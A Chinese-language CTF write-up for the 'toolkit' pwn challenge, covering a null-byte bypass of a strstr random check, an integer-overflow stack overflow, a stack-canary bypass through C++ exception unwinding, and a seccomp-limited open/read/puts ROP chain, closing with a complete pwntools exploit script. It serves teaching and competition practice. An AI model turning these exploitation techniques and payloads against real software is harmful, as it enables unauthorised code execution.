第五空间CTF的toolkit学到的两个利用技巧
2022-9-21 17:14:44 Author: BeFun安全实验室(查看原文) 阅读量:14 收藏

题目下载:https://github.com/Inv0k3r/pwnable_files/raw/master/toolkit_attachment0282203f.zip

简单逆向

程序提供了四个功能:

  1. 1. base64加解密

  2. 2. tea加解密

  3. 3. 输出加解密结果

  4. 4. 从/dev/urandom读取0x30字节随机数,使用strstr(input, random),返回非0则输出一个程序内的函数地址

保护和libc:

[email protected]:~$ checksec toolkit
[*] '/home/a/toolkit'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[email protected]:~$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

漏洞

  1. 1. 在随机数这里,分配了0x200字节的堆块,可以写入0x250字节造成堆溢出,不过本题我没有用到这个漏洞

  2. 2. 生成的随机数未考虑到\x00的情况,可以绕过

  3. 3. 在tea解密功能里,输入的字符串长度存在整数溢出,通过输入-1可以绕过0x100字节限制,造成栈溢出:


随机数绕过

通过/dev/urandom生成的随机数有一定概率是\x00,此时strstr(input, random)中的random如果开头是\x00则会被截断,即认为第二个参数是空字符串,直接返回input的地址,这样就绕过了随机数的检测:


假设随机数生成概率一样,则成功概率为1/256,实际测试下来还是很快的:

#include<stdio.h>
int main(){
    char buf[64];
    int count = 0;
    while(1){
        memset(buf, 064);
        int fd = open("/dev/urandom"0);
        if ( fd < 0 )
        {
            puts("Error!");
            exit(0);
        }
        read(fd, buf, 0x30uLL);
        close(fd);
        if(buf[0] == 0){
            printf("%d: found: %d\n", count, buf[0]);
            return 0;
        }else{
            printf("%d: failed: %d\n", count++, buf[0]);
        }
    }
}


用这个方法同样可以绕过strcmp(input, random),只需要输入\x00

#include<stdio.h>
int main(){
    printf("%d\n"strcmp("\x00\x12\x34""\x00\xab\xcd"));
}
// [email protected]:~$ gcc -o test test.c 
// [email protected]:~$ ./test 
// 0

然后就可以用这个方法拿到程序的加载地址了:

while True:
    log.success("Try: " + str(c))
    c += 1
    p = process("./toolkit")
    # p.sendlineafter("[+] ", str(0xdead00))
    p.sendlineafter("[+] "str(0xDEAD00))
    p.sendlineafter("Password: ""1")
    if p.recvuntil("Gift: ", timeout=0.1) != b'':
        break
    else:
        p.close()

base = u64(p.recvuntil("\n\n")[:-2].ljust(8b'\x00')) - 0x1591
log.success("base: " + hex(base))

利用C++异常机制绕过canary

题目开启了canary,导致栈溢出的时候需要绕过canary才行,这里要用到c++的异常机制,之前没见过这种绕过方法,大部分文章对于canary绕过都是泄露之类的通用做法,也可能是我搜索姿势问题,只搜到了swing大哥五年前的一篇wp:https://bestwing.me/2017-Shanghai-DCTF-final-pwn.html


在栈溢出后检查输入的key长度不等于16会捕获并抛出异常,然后进入异常处理函数执行。

总之不是什么新鲜技术了,就是通过栈溢出来修改rbp,然后返回地址上面要放异常处理函数结束之后的地址,这样程序会直接跳到异常处理函数并执行,结束后会绕过canary检查直接返回。

这个地址可以在gdb里跟踪到:


经过大量调试测试,这个地址必须是包含异常处理函数的,这里只需要恢复到之前正常处理的函数即可。

程序执行完异常处理函数后会返回到add rsp, 18h这里,可以看到异常处理函数结束后没有进行canary的检查,直接返回:


此时的rbp变成了我们覆盖的数据:


然后程序会继续执行add rsp 18h; pop rbx; pop rbp; retn,会把我们修改过的rbp覆盖掉,所以要在下面再写一个新的rbp给他pop,之后接上经典的leave; ret来进行栈迁移,迁移到我们可以控制的一个bss段上:


总之最终payload就是:

payload  = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain
payload += p64(0) * 6
payload += p64(base + 0x5060)   # rbp, has been overwrite
payload += p64(base + 0x25E0)   # unwind_addr, same with before stack overflow
payload += p64(base + 0x5060) * 5
payload += p64(base + leave_ret)   # leave; ret

ROP

到这里基本完成题目了,我们有了一个完全控制的ROP,但是题目开启了seccomp:


还得做一次orw,由于我们只泄露了程序基地址,gadget里只能控制rdirsi,没有直接控制rdx的,然后看plt里有open,read,puts函数,就考虑能否只用程序的gadget来达成orw。当然通过puts等函数泄露libc地址然后做ROP也可以。

经过调试发现调用完open("./flag", 0)后,会把rdx寄存器清空,然后看到如下两条gadget:

# 0x00000000000020e8: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0x10]; mov dword ptr [rax], edx; nop; pop rbp; ret; 
# 0x00000000000021c6: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0xc]; mov dword ptr [rax], edx; nop; pop rbp; ret; 

而我们又可以控制rbp,所以可以通过这两条gadget来控制rdx,我选择了第一个,然后手动调整了一下rbp

ropchain += p64(base + pop_rbp)
ropchain += p64(base + 0x5158 + 0x10)
ropchain += p64(base + gadget)
ropchain += p64(0xdeadbeef)

然后就可以接上readputs了:

ropchain += p64(base + pop_rdi)
ropchain += p64(3)
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(base + 0x5360)
ropchain += p64(0)
ropchain += p64(base + read_plt)    # read(0, 0x5360, 0x30)

ropchain += p64(base + pop_rdi)
ropchain += p64(base + 0x5360)
ropchain += p64(base + puts_plt)    # puts(0x5360)

另外我们写rop链的地方离它前面不可写内存的距离非常近,所以我选择在链子前面填充一部分ret的gadget,做类似于nop的滑板来调整一下栈防止访问到不可写的内存导致程序崩溃,实际上可以在之前修改rbp的时候就改到靠近中间的内存比较好:

payload  = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain

exp

from socket import timeout
from pwn import *
# context.log_level = 'debug'
c = 0
while True:
    log.success("Try: " + str(c))
    c += 1
    p = process("./toolkit")
    # p.sendlineafter("[+] ", str(0xdead00))
    p.sendlineafter("[+] "str(0xDEAD00))
    p.sendlineafter("Password: ""1")
    if p.recvuntil("Gift: ", timeout=0.1) != b'':
        break
    else:
        p.close()

base = u64(p.recvuntil("\n\n")[:-2].ljust(8b'\x00')) - 0x1591
log.success("base: " + hex(base))
# pause()

pop_rdi = 0x0000000000002933
pop_rsi_r15 = 0x0000000000002931
pop_rbp = 0x0000000000001473
leave_ret = 0x25af

puts_plt = 0x1330
read_plt = 0x1310
open_plt = 0x1270
ret = 0x000000000000101a

ropchain  = b''
ropchain += p64(base + pop_rdi)     
ropchain += p64(base + 0x5130)  # ./flag
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(0)
ropchain += p64(0)
ropchain += p64(base + open_plt)    # open('./flag', 0)

gadget = 0x00000000000020e8
# 0x00000000000020e8: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0x10]; mov dword ptr [rax], edx; nop; pop rbp; ret; 
# 0x00000000000021c6: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0xc]; mov dword ptr [rax], edx; nop; pop rbp; ret; 

ropchain += p64(base + pop_rbp)
ropchain += p64(base + 0x5158 + 0x10)
ropchain += p64(base + gadget)
ropchain += p64(0xdeadbeef)

ropchain += p64(base + pop_rdi)
ropchain += p64(3)
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(base + 0x5360)
ropchain += p64(0)
ropchain += p64(base + read_plt)    # read(0, 0x5360, 0x30)

ropchain += p64(base + pop_rdi)
ropchain += p64(base + 0x5360)
ropchain += p64(base + puts_plt)    # puts(0x5360)

ropchain += b'./flag\x00\x00'

ropchain += p64(base + 0x5060)  # rax = [rbp - 0x30]
ropchain += p64(0)              #       [rbp - 0x28]
ropchain += p64(0)              #       [rbp - 0x20]
ropchain += p64(0)              #       [rbp - 0x18]
ropchain += p64(0x50)           # edx   [rbp - 0x10], 0x5158

log.info("ROPChain length: " + str(len(ropchain)))

p.sendlineafter("[+] "str(2))
p.sendlineafter("[-] "str(2))
p.sendlineafter("Length: "str(-1))

# context.log_level = 'debug'

payload  = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain
payload += p64(0) * 6
payload += p64(base + 0x5060)   # rbp, has been overwrite
payload += p64(base + 0x25E0)   # unwind_addr
payload += p64(base + 0x5060) * 5   
payload += p64(base + leave_ret)   # leave; ret
# 39 * p64(base + 0x5060) + p64(base + 0x25E0) + p64(base + 0x5060) * 5 + p64(base + 0x25af)

p.sendlineafter("Content: ", payload)
p.sendlineafter("Key: "'a')
p.recvuntil("Error key!")
p.interactive()

参考

  • • https://bestwing.me/2017-Shanghai-DCTF-final-pwn.html#C-%E5%BC%82%E5%B8%B8%E6%9C%BA%E5%88%B6

  • • https://firmianay.github.io/pwn_dctf2017_flex/


文章来源: http://mp.weixin.qq.com/s?__biz=MzI3NDEzMDgzNw==&mid=2247484555&idx=1&sn=daeb21a1c7d1e0d14ff2d210beedc674&chksm=eb19f671dc6e7f67f0e106c2e89e414ad31c6145098df5414a4d07fbf7a23a5daf544d694942#rd
如有侵权请联系:admin#unsafe.sh